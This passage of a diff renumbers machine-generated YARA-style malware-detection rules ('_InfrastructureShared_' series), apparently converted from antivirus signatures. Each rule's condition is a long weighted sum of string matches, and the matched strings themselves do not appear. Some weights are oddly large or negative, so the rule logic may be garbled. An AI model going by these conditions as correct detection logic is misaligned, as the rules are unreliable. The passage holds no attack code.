1)*1+(#a_07_75 & 1)*1+(#a_07_76 & 1)*1+(#a_07_77 & 1)*1+(#a_07_78 & 1)*1+(#a_07_79 & 1)*1+(#a_07_80 & 1)*1+(#a_07_81 & 1)*1+(#a_07_82 & 1)*1+(#a_07_83 & 1)*1+(#a_07_84 & 1)*1+(#a_07_85 & 1)*1+(#a_07_86 & 1)*1+(#a_07_87 & 1)*1+(#a_07_88 & 1)*1+(#a_07_89 & 1)*1+(#a_07_90 & 1)*1+(#a_07_91 & 1)*1+(#a_07_92 & 1)*1+(#a_07_93 & 1)*1+(#a_07_94 & 1)*1+(#a_07_95 & 1)*1) >=1 } -rule _InfrastructureShared_20605{ +rule _InfrastructureShared_21835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 ffffff93 00 21 " @@ -269034,7 +284687,7 @@ rule _InfrastructureShared_20605{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*52+(#a_00_4 & 1)*114+(#a_00_5 & 1)*85+(#a_00_6 & 1)*111+(#a_69_7 & 1)*25954+(#a_01_8 & 1)*2+(#a_01_9 & 1)*2+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*2+(#a_01_13 & 1)*2+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*2+(#a_01_18 & 1)*2+(#a_01_19 & 1)*2+(#a_80_20 & 1)*2+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_81_23 & 1)*2+(#a_01_24 & 1)*2+(#a_01_25 & 1)*1+(#a_81_26 & 1)*2+(#a_01_27 & 1)*2+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*2+(#a_01_32 & 1)*2+(#a_01_33 & 1)*2+(#a_01_34 & 1)*2+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_03_37 & 1)*1+(#a_03_38 & 1)*1+(#a_03_39 & 1)*1+(#a_03_40 & 1)*1+(#a_03_41 & 1)*1+(#a_01_42 & 1)*2+(#a_03_43 & 1)*1+(#a_03_44 & 1)*2+(#a_01_45 & 1)*1+(#a_03_46 & 1)*1+(#a_03_47 & 1)*1+(#a_03_48 & 1)*1+(#a_03_49 & 1)*1+(#a_03_50 & 1)*1+(#a_01_51 & 1)*2+(#a_03_52 & 1)*1+(#a_01_53 & 1)*1+(#a_03_54 & 1)*1+(#a_03_55 & 1)*1+(#a_03_56 & 1)*1+(#a_03_57 & 1)*1+(#a_03_58 & 1)*1+(#a_03_59 & 1)*1+(#a_03_60 & 1)*1+(#a_03_61 & 1)*1+(#a_03_62 & 1)*1+(#a_03_63 & 1)*2+(#a_03_64 & 1)*1+(#a_03_65 & 1)*1+(#a_03_66 & 1)*1+(#a_01_67 & 1)*2+(#a_01_68 & 1)*1+(#a_01_69 & 1)*2+(#a_01_70 & 1)*2+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*2+(#a_01_75 & 1)*2+(#a_01_76 & 1)*1+(#a_03_77 & 1)*1+(#a_00_78 & 1)*1+(#a_01_79 & 1)*1+(#a_03_80 & 1)*1+(#a_01_81 & 1)*2+(#a_01_82 & 1)*1+(#a_01_83 & 1)*1+(#a_01_84 & 1)*1+(#a_01_85 & 1)*1+(#a_01_86 & 1)*1+(#a_01_87 & 1)*1+(#a_01_88 & 1)*1+(#a_01_89 & 1)*1+(#a_01_90 & 1)*2+(#a_01_91 & 1)*2+(#a_01_92 & 1)*1+(#a_01_93 & 1)*2+(#a_01_94 & 1)*2+(#a_01_95 & 1)*1+(#a_01_96 & 1)*2+(#a_01_97 & 1)*2+(#a_01_98 & 1)*2+(#a_01_99 & 1)*1+(#a_03_100 & 1)*1+(#a_01_101 & 1)*2+(#a_03_102 & 1)*1+(#a_01_103 & 1)*2+(#a_01_104 & 1)*1+(#a_01_105 & 1)*1+(#a_01_106 & 1)*2+(#a_01_107 & 1)*2+(#a_01_108 & 1)*2+(#a_01_109 & 1)*2+(#a_01_110 & 1)*1+(#a_01_111 & 1)*1+(#a_01_112 & 1)*2+(#a_03_113 & 1)*2+(#a_01_114 & 1)*2+(#a_03_115 & 1)*2+(#a_00_116 & 1)*2+(#a_01_117 & 1)*1+(#a_01_118 & 1)*1+(#a_01_119 & 1)*2+(#a_01_120 & 1)*2+(#a_01_121 & 1)*1+(#a_01_122 & 1)*1+(#a_01_123 & 1)*1+(#a_01_124 & 1)*2+(#a_01_125 & 1)*1+(#a_01_126 & 1)*2+(#a_01_127 & 1)*2+(#a_01_128 & 1)*1+(#a_01_129 & 1)*2+(#a_01_130 & 1)*2+(#a_01_131 & 1)*1+(#a_01_132 & 1)*1+(#a_01_133 & 1)*1+(#a_01_134 & 1)*1+(#a_01_135 & 1)*1+(#a_01_136 & 1)*2+(#a_01_137 & 1)*2+(#a_01_138 & 1)*1+(#a_01_139 & 1)*1+(#a_03_140 & 1)*2+(#a_01_141 & 1)*1+(#a_2c_142 & 1)*0+(#a_82_143 & 1)*28450+(#a_63_144 & 1)*-31127+(#a_2a_145 & 1)*2659+(#a_7c_146 & 1)*27500) >=3 } -rule _InfrastructureShared_20606{ +rule _InfrastructureShared_21836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 00 01 21 " @@ -269299,7 +284952,7 @@ rule _InfrastructureShared_20606{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25701+(#a_6c_2 & 1)*9040+(#a_62_3 & 1)*-30872+(#a_4f_4 & 1)*25867+(#a_7f_5 & 1)*26735+(#a_7b_6 & 1)*6144+(#a_7d_7 & 1)*27245+(#a_11_8 & 1)*25857+(#a_67_9 & 1)*6144+(#a_61_10 & 1)*30321+(#a_67_11 & 1)*28791+(#a_79_12 & 1)*25911+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_01_66 & 1)*1+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1+(#a_01_79 & 1)*1+(#a_01_80 & 1)*1+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_01_83 & 1)*1+(#a_01_84 & 1)*1+(#a_01_85 & 1)*1+(#a_01_86 & 1)*1+(#a_01_87 & 1)*1+(#a_01_88 & 1)*1+(#a_01_89 & 1)*1+(#a_01_90 & 1)*1+(#a_01_91 & 1)*1+(#a_01_92 & 1)*1+(#a_01_93 & 1)*1+(#a_01_94 & 1)*1+(#a_01_95 & 1)*1+(#a_01_96 & 1)*1+(#a_01_97 & 1)*1+(#a_01_98 & 1)*1+(#a_01_99 & 1)*1+(#a_01_100 & 1)*1+(#a_01_101 & 1)*1+(#a_01_102 & 1)*1+(#a_01_103 & 1)*1+(#a_01_104 & 1)*1+(#a_01_105 & 1)*1+(#a_01_106 & 1)*1+(#a_01_107 & 1)*1+(#a_01_108 & 1)*1+(#a_01_109 & 1)*1+(#a_01_110 & 1)*1+(#a_01_111 & 1)*1+(#a_01_112 & 1)*1+(#a_01_113 & 1)*1+(#a_01_114 & 1)*1+(#a_01_115 & 1)*1+(#a_01_116 & 1)*1+(#a_01_117 & 1)*1+(#a_01_118 & 1)*1+(#a_01_119 & 1)*1+(#a_01_120 & 1)*1+(#a_01_121 & 1)*1+(#a_01_122 & 1)*1+(#a_01_123 & 1)*1+(#a_01_124 & 1)*1+(#a_01_125 & 1)*1+(#a_01_126 & 1)*1+(#a_01_127 & 1)*1+(#a_01_128 & 1)*1+(#a_01_129 & 1)*1+(#a_01_130 & 1)*1+(#a_01_131 & 1)*1+(#a_01_132 & 1)*1+(#a_01_133 & 1)*1+(#a_01_134 & 1)*1+(#a_01_135 & 1)*1+(#a_01_136 & 1)*1+(#a_01_137 & 1)*1+(#a_01_138 & 1)*1+(#a_01_139 & 1)*1+(#a_01_140 & 1)*1+(#a_01_141 & 1)*1+(#a_01_142 & 1)*1+(#a_01_143 & 1)*1+(#a_01_144 & 1)*1+(#a_01_145 & 1)*1+(#a_01_146 & 1)*1+(#a_01_147 & 1)*1+(#a_01_148 & 1)*1+(#a_01_149 & 1)*1+(#a_01_150 & 1)*1+(#a_01_151 & 1)*1+(#a_01_152 & 1)*1+(#a_01_153 & 1)*1+(#a_01_154 & 1)*1+(#a_01_155 & 1)*1+(#a_01_156 & 1)*1+(#a_01_157 & 1)*1+(#a_01_158 & 1)*1+(#a_01_159 & 1)*1+(#a_01_160 & 1)*1+(#a_01_161 & 1)*1+(#a_01_162 & 1)*1+(#a_01_163 & 1)*1+(#a_01_164 & 1)*1+(#a_01_165 & 1)*1+(#a_01_166 & 1)*1+(#a_01_167 & 1)*1+(#a_01_168 & 1)*1+(#a_01_169 & 1)*1+(#a_01_170 & 1)*1+(#a_01_171 & 1)*1+(#a_01_172 & 1)*1+(#a_01_173 & 1)*1+(#a_01_174 & 1)*1+(#a_01_175 & 1)*1+(#a_01_176 & 1)*1+(#a_01_177 & 1)*1+(#a_01_178 & 1)*1+(#a_01_179 & 1)*1+(#a_01_180 & 1)*1+(#a_01_181 & 1)*1+(#a_01_182 & 1)*1+(#a_01_183 & 1)*1+(#a_01_184 & 1)*1+(#a_01_185 & 1)*1+(#a_01_186 & 1)*1+(#a_01_187 & 1)*1+(#a_01_188 & 1)*1+(#a_01_189 & 1)*1+(#a_01_190 & 1)*1+(#a_01_191 & 1)*1+(#a_01_192 & 1)*1+(#a_01_193 & 1)*1+(#a_01_194 & 1)*1+(#a_01_195 & 1)*1+(#a_01_196 & 1)*1+(#a_01_197 & 1)*1+(#a_01_198 & 1)*1+(#a_01_199 & 1)*1+(#a_01_200 & 1)*1+(#a_01_201 & 1)*1+(#a_01_202 & 1)*1+(#a_01_203 & 1)*1+(#a_01_204 & 1)*1+(#a_01_205 & 1)*1+(#a_01_206 & 1)*1+(#a_01_207 & 1)*1+(#a_01_208 & 1)*1+(#a_01_209 & 1)*1+(#a_01_210 & 1)*1+(#a_01_211 & 1)*1+(#a_01_212 & 1)*1+(#a_01_213 & 1)*1+(#a_01_214 & 1)*1+(#a_01_215 & 1)*1+(#a_01_216 & 1)*1+(#a_01_217 & 1)*1+(#a_01_218 & 1)*1+(#a_01_219 & 1)*1+(#a_01_220 & 1)*1+(#a_01_221 & 1)*1+(#a_01_222 & 1)*1+(#a_01_223 & 1)*1+(#a_01_224 & 1)*1+(#a_01_225 & 1)*1+(#a_01_226 & 1)*1+(#a_01_227 & 1)*1+(#a_01_228 & 1)*1+(#a_01_229 & 1)*1+(#a_01_230 & 1)*1+(#a_01_231 & 1)*1+(#a_01_232 & 1)*1+(#a_01_233 & 1)*1+(#a_01_234 & 1)*1+(#a_01_235 & 1)*1+(#a_01_236 & 1)*1+(#a_01_237 & 1)*1+(#a_01_238 & 1)*1+(#a_01_239 & 1)*1+(#a_01_240 & 1)*1+(#a_01_241 & 1)*1+(#a_2c_242 & 1)*0+(#a_66_243 & 1)*28450+(#a_63_244 & 1)*25193+(#a_29_245 & 1)*26464+(#a_01_246 & 1)*1+(#a_01_247 & 1)*1+(#a_01_248 & 1)*1+(#a_01_249 & 1)*1+(#a_01_250 & 1)*1+(#a_01_251 & 1)*1+(#a_01_252 & 1)*1+(#a_01_253 & 1)*1+(#a_01_254 & 1)*1+(#a_01_255 & 1)*1) >=1 } -rule _InfrastructureShared_20607{ +rule _InfrastructureShared_21837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 00 01 21 " @@ -269561,7 +285214,7 @@ rule _InfrastructureShared_20607{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25665+(#a_6c_2 & 1)*9040+(#a_62_3 & 1)*25448+(#a_4e_4 & 1)*2660+(#a_2c_5 & 1)*3182+(#a_10_6 & 1)*12388+(#a_34_7 & 1)*24934+(#a_01_8 & 1)*32088+(#a_1b_10 & 1)*15215+(#a_3f_11 & 1)*20571+(#a_66_12 & 1)*8780+(#a_62_13 & 1)*19791+(#a_25_14 & 1)*19461+(#a_46_15 & 1)*23048+(#a_4e_16 & 1)*20292+(#a_4a_17 & 1)*19264+(#a_34_19 & 1)*5184+(#a_5e_20 & 1)*22850+(#a_51_21 & 1)*22093+(#a_57_22 & 1)*6487+(#a_3c_23 & 1)*21788+(#a_70_24 & 1)*7999+(#a_44_25 & 1)*25648+(#a_28_26 & 1)*5642+(#a_49_27 & 1)*8297+(#a_3f_28 & 1)*6144+(#a_39_29 & 1)*11851+(#a_3d_30 & 1)*10831+(#a_3a_31 & 1)*15654+(#a_3a_32 & 1)*1048+(#a_3e_33 & 1)*10241+(#a_0f_34 & 1)*16435+(#a_0f_35 & 1)*4929+(#a_07_36 & 1)*66+(#a_00_37 & 1)*266+(#a_12_38 & 1)*18178+(#a_48_39 & 1)*26634+(#a_46_40 & 1)*10252+(#a_49_41 & 1)*1792+(#a_03_42 & 1)*19715+(#a_43_44 & 1)*11529+(#a_00_45 & 1)*7246+(#a_01_46 & 1)*20225+(#a_2f_47 & 1)*2+(#a_50_48 & 1)*1282+(#a_22_49 & 1)*13649+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_01_66 & 1)*1+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1+(#a_01_79 & 1)*1+(#a_01_80 & 1)*1+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_01_83 & 1)*1+(#a_01_84 & 1)*1+(#a_01_85 & 1)*1+(#a_01_86 & 1)*1+(#a_01_87 & 1)*1+(#a_01_88 & 1)*1+(#a_01_89 & 1)*1+(#a_01_90 & 1)*1+(#a_01_91 & 1)*1+(#a_01_92 & 1)*1+(#a_01_93 & 1)*1+(#a_01_94 & 1)*1+(#a_01_95 & 1)*1+(#a_01_96 & 1)*1+(#a_01_97 & 1)*1+(#a_01_98 & 1)*1+(#a_01_99 & 1)*1+(#a_01_100 & 1)*1+(#a_01_101 & 1)*1+(#a_01_102 & 1)*1+(#a_01_103 & 1)*1+(#a_01_104 & 1)*1+(#a_01_105 & 1)*1+(#a_01_106 & 1)*1+(#a_01_107 & 1)*1+(#a_01_108 & 1)*1+(#a_01_109 & 1)*1+(#a_01_110 & 1)*1+(#a_01_111 & 1)*1+(#a_01_112 & 1)*1+(#a_01_113 & 1)*1+(#a_01_114 & 1)*1+(#a_01_115 & 1)*1+(#a_01_116 & 1)*1+(#a_01_117 & 1)*1+(#a_01_118 & 1)*1+(#a_01_119 & 1)*1+(#a_01_120 & 1)*1+(#a_01_121 & 1)*1+(#a_01_122 & 1)*1+(#a_01_123 & 1)*1+(#a_01_124 & 1)*1+(#a_01_125 & 1)*1+(#a_01_126 & 1)*1+(#a_01_127 & 1)*1+(#a_01_128 & 1)*1+(#a_01_129 & 1)*1+(#a_01_130 & 1)*1+(#a_01_131 & 1)*1+(#a_01_132 & 1)*1+(#a_01_133 & 1)*1+(#a_01_134 & 1)*1+(#a_01_135 & 1)*1+(#a_01_136 & 1)*1+(#a_01_137 & 1)*1+(#a_01_138 & 1)*1+(#a_01_139 & 1)*1+(#a_01_140 & 1)*1+(#a_01_141 & 1)*1+(#a_01_142 & 1)*1+(#a_01_143 & 1)*1+(#a_01_144 & 1)*1+(#a_01_145 & 1)*1+(#a_01_146 & 1)*1+(#a_01_147 & 1)*1+(#a_01_148 & 1)*1+(#a_01_149 & 1)*1+(#a_01_150 & 1)*1+(#a_01_151 & 1)*1+(#a_01_152 & 1)*1+(#a_01_153 & 1)*1+(#a_01_154 & 1)*1+(#a_01_155 & 1)*1+(#a_01_156 & 1)*1+(#a_01_157 & 1)*1+(#a_01_158 & 1)*1+(#a_01_159 & 1)*1+(#a_01_160 & 1)*1+(#a_01_161 & 1)*1+(#a_01_162 & 1)*1+(#a_01_163 & 1)*1+(#a_01_164 & 1)*1+(#a_01_165 & 1)*1+(#a_01_166 & 1)*1+(#a_01_167 & 1)*1+(#a_01_168 & 1)*1+(#a_01_169 & 1)*1+(#a_01_170 & 1)*1+(#a_01_171 & 1)*1+(#a_01_172 & 1)*1+(#a_01_173 & 1)*1+(#a_01_174 & 1)*1+(#a_01_175 & 1)*1+(#a_01_176 & 1)*1+(#a_01_177 & 1)*1+(#a_01_178 & 1)*1+(#a_01_179 & 1)*1+(#a_01_180 & 1)*1+(#a_01_181 & 1)*1+(#a_01_182 & 1)*1+(#a_01_183 & 1)*1+(#a_01_184 & 1)*1+(#a_01_185 & 1)*1+(#a_01_186 & 1)*1+(#a_01_187 & 1)*1+(#a_01_188 & 1)*1+(#a_01_189 & 1)*1+(#a_32_190 & 1)*0+(#a_8a_191 & 1)*527+(#a_31_192 & 1)*-147+(#a_07_193 & 1)*-32158+(#a_49_194 & 1)*3084+(#a_1d_195 & 1)*-26504+(#a_00_196 & 1)*4894+(#a_43_197 & 1)*31745+(#a_56_198 & 1)*28696+(#a_1d_199 & 1)*7431+(#a_5b_200 & 1)*7710+(#a_23_201 & 1)*-13533+(#a_cd_202 & 1)*10347+(#a_ad_203 & 1)*20186+(#a_19_204 & 1)*-10427+(#a_5b_205 & 1)*7168+(#a_bb_206 & 1)*13118+(#a_be_207 & 1)*13883+(#a_39_208 & 1)*30641+(#a_6c_209 & 1)*21249+(#a_41_210 & 1)*5831+(#a_77_211 & 1)*-18133+(#a_1d_212 & 1)*8705+(#a_aa_213 & 1)*-21483+(#a_17_214 & 1)*21074+(#a_1c_215 & 1)*22873+(#a_08_216 & 1)*27959+(#a_63_217 & 1)*11755+(#a_01_218 & 1)*27432+(#a_e2_219 & 1)*27239+(#a_6a_220 & 1)*28802+(#a_01_221 & 1)*24611+(#a_71_222 & 1)*27545+(#a_78_223 & 1)*-3299+(#a_9e_224 & 1)*31544+(#a_12_225 & 1)*30509+(#a_7e_226 & 1)*10744+(#a_01_227 & 1)*-29489+(#a_00_228 & 1)*284+(#a_77_229 & 1)*29128+(#a_00_230 & 1)*-27495+(#a_c2_231 & 1)*-767+(#a_98_232 & 1)*7677+(#a_91_233 & 1)*5364+(#a_5f_234 & 1)*10915+(#a_01_235 & 1)*-22556+(#a_58_236 & 1)*-16898+(#a_01_237 & 1)*1+(#a_01_238 & 1)*1+(#a_01_239 & 1)*1+(#a_01_240 & 1)*1+(#a_01_241 & 1)*1+(#a_01_242 & 1)*1+(#a_01_243 & 1)*1+(#a_01_244 & 1)*1+(#a_01_245 & 1)*1+(#a_01_246 & 1)*1+(#a_01_247 & 1)*1+(#a_01_248 & 1)*1+(#a_01_249 & 1)*1+(#a_01_250 & 1)*1+(#a_01_251 & 1)*1+(#a_01_252 & 1)*1+(#a_01_253 & 1)*1+(#a_01_254 & 1)*1+(#a_01_255 & 1)*1) >=1 } -rule _InfrastructureShared_20608{ +rule _InfrastructureShared_21838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 00 01 21 " @@ -269826,7 +285479,7 @@ rule _InfrastructureShared_20608{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*283+(#a_fb_2 & 1)*-700+(#a_83_3 & 1)*284+(#a_f2_4 & 1)*-2995+(#a_83_5 & 1)*2879+(#a_67_6 & 1)*7168+(#a_87_7 & 1)*3842+(#a_7a_8 & 1)*22427+(#a_72_9 & 1)*5965+(#a_1b_10 & 1)*19613+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_01_66 & 1)*1+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1+(#a_01_79 & 1)*1+(#a_01_80 & 1)*1+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_01_83 & 1)*1+(#a_01_84 & 1)*1+(#a_01_85 & 1)*1+(#a_01_86 & 1)*1+(#a_01_87 & 1)*1+(#a_01_88 & 1)*1+(#a_01_89 & 1)*1+(#a_01_90 & 1)*1+(#a_01_91 & 1)*1+(#a_01_92 & 1)*1+(#a_01_93 & 1)*1+(#a_01_94 & 1)*1+(#a_01_95 & 1)*1+(#a_01_96 & 1)*1+(#a_01_97 & 1)*1+(#a_01_98 & 1)*1+(#a_01_99 & 1)*1+(#a_01_100 & 1)*1+(#a_01_101 & 1)*1+(#a_01_102 & 1)*1+(#a_01_103 & 1)*1+(#a_01_104 & 1)*1+(#a_01_105 & 1)*1+(#a_01_106 & 1)*1+(#a_01_107 & 1)*1+(#a_01_108 & 1)*1+(#a_01_109 & 1)*1+(#a_01_110 & 1)*1+(#a_01_111 & 1)*1+(#a_01_112 & 1)*1+(#a_01_113 & 1)*1+(#a_01_114 & 1)*1+(#a_01_115 & 1)*1+(#a_01_116 & 1)*1+(#a_01_117 & 1)*1+(#a_01_118 & 1)*1+(#a_01_119 & 1)*1+(#a_01_120 & 1)*1+(#a_01_121 & 1)*1+(#a_01_122 & 1)*1+(#a_01_123 & 1)*1+(#a_01_124 & 1)*1+(#a_01_125 & 1)*1+(#a_01_126 & 1)*1+(#a_01_127 & 1)*1+(#a_01_128 & 1)*1+(#a_01_129 & 1)*1+(#a_01_130 & 1)*1+(#a_01_131 & 1)*1+(#a_01_132 & 1)*1+(#a_01_133 & 1)*1+(#a_01_134 & 1)*1+(#a_01_135 & 1)*1+(#a_01_136 & 1)*1+(#a_01_137 & 1)*1+(#a_01_138 & 1)*1+(#a_01_139 & 1)*1+(#a_01_140 & 1)*1+(#a_01_141 & 1)*1+(#a_01_142 & 1)*1+(#a_01_143 & 1)*1+(#a_01_144 & 1)*1+(#a_01_145 & 1)*1+(#a_01_146 & 1)*1+(#a_01_147 & 1)*1+(#a_01_148 & 1)*1+(#a_01_149 & 1)*1+(#a_01_150 & 1)*1+(#a_01_151 & 1)*1+(#a_01_152 & 1)*1+(#a_01_153 & 1)*1+(#a_01_154 & 1)*1+(#a_01_155 & 1)*1+(#a_01_156 & 1)*1+(#a_01_157 & 1)*1+(#a_01_158 & 1)*1+(#a_01_159 & 1)*1+(#a_01_160 & 1)*1+(#a_01_161 & 1)*1+(#a_01_162 & 1)*1+(#a_01_163 & 1)*1+(#a_01_164 & 1)*1+(#a_01_165 & 1)*1+(#a_01_166 & 1)*1+(#a_01_167 & 1)*1+(#a_01_168 & 1)*1+(#a_01_169 & 1)*1+(#a_01_170 & 1)*1+(#a_01_171 & 1)*1+(#a_01_172 & 1)*1+(#a_01_173 & 1)*1+(#a_01_174 & 1)*1+(#a_01_175 & 1)*1+(#a_01_176 & 1)*1+(#a_01_177 & 1)*1+(#a_01_178 & 1)*1+(#a_01_179 & 1)*1+(#a_01_180 & 1)*1+(#a_01_181 & 1)*1+(#a_01_182 & 1)*1+(#a_01_183 & 1)*1+(#a_01_184 & 1)*1+(#a_01_185 & 1)*1+(#a_01_186 & 1)*1+(#a_01_187 & 1)*1+(#a_01_188 & 1)*1+(#a_01_189 & 1)*1+(#a_01_190 & 1)*1+(#a_01_191 & 1)*1+(#a_01_192 & 1)*1+(#a_01_193 & 1)*1+(#a_01_194 & 1)*1+(#a_01_195 & 1)*1+(#a_01_196 & 1)*1+(#a_01_197 & 1)*1+(#a_01_198 & 1)*1+(#a_01_199 & 1)*1+(#a_01_200 & 1)*1+(#a_01_201 & 1)*1+(#a_01_202 & 1)*1+(#a_01_203 & 1)*1+(#a_01_204 & 1)*1+(#a_01_205 & 1)*1+(#a_01_206 & 1)*1+(#a_01_207 & 1)*1+(#a_01_208 & 1)*1+(#a_01_209 & 1)*1+(#a_01_210 & 1)*1+(#a_01_211 & 1)*1+(#a_01_212 & 1)*1+(#a_01_213 & 1)*1+(#a_01_214 & 1)*1+(#a_01_215 & 1)*1+(#a_01_216 & 1)*1+(#a_01_217 & 1)*1+(#a_01_218 & 1)*1+(#a_01_219 & 1)*1+(#a_01_220 & 1)*1+(#a_01_221 & 1)*1+(#a_01_222 & 1)*1+(#a_01_223 & 1)*1+(#a_01_224 & 1)*1+(#a_01_225 & 1)*1+(#a_01_226 & 1)*1+(#a_01_227 & 1)*1+(#a_01_228 & 1)*1+(#a_01_229 & 1)*1+(#a_01_230 & 1)*1+(#a_01_231 & 1)*1+(#a_01_232 & 1)*1+(#a_01_233 & 1)*1+(#a_01_234 & 1)*1+(#a_01_235 & 1)*1+(#a_01_236 & 1)*1+(#a_01_237 & 1)*1+(#a_01_238 & 1)*1+(#a_32_239 & 1)*0+(#a_01_240 & 1)*28515+(#a_63_241 & 1)*25955+(#a_01_242 & 1)*29295+(#a_65_243 & 1)*25964+(#a_2e_244 & 1)*12646+(#a_6c_245 & 1)*29697+(#a_69_246 & 1)*28007+(#a_6f_247 & 1)*11887+(#a_2e_248 & 1)*25445+(#a_00_249 & 1)*28015+(#a_63_250 & 1)*24833+(#a_01_251 & 1)*29295+(#a_69_252 & 1)*28008+(#a_6f_253 & 1)*28789+(#a_2d_254 & 1)*26223+(#a_6c_255 & 1)*30835) >=1 } -rule _InfrastructureShared_20609{ +rule _InfrastructureShared_21839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 ffffffa4 01 21 " @@ -270249,7 +285902,7 @@ rule _InfrastructureShared_20609{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28515+(#a_67_2 & 1)*11635+(#a_63_3 & 1)*26222+(#a_65_4 & 1)*29561+(#a_74_5 & 1)*28161+(#a_72_6 & 1)*11873+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 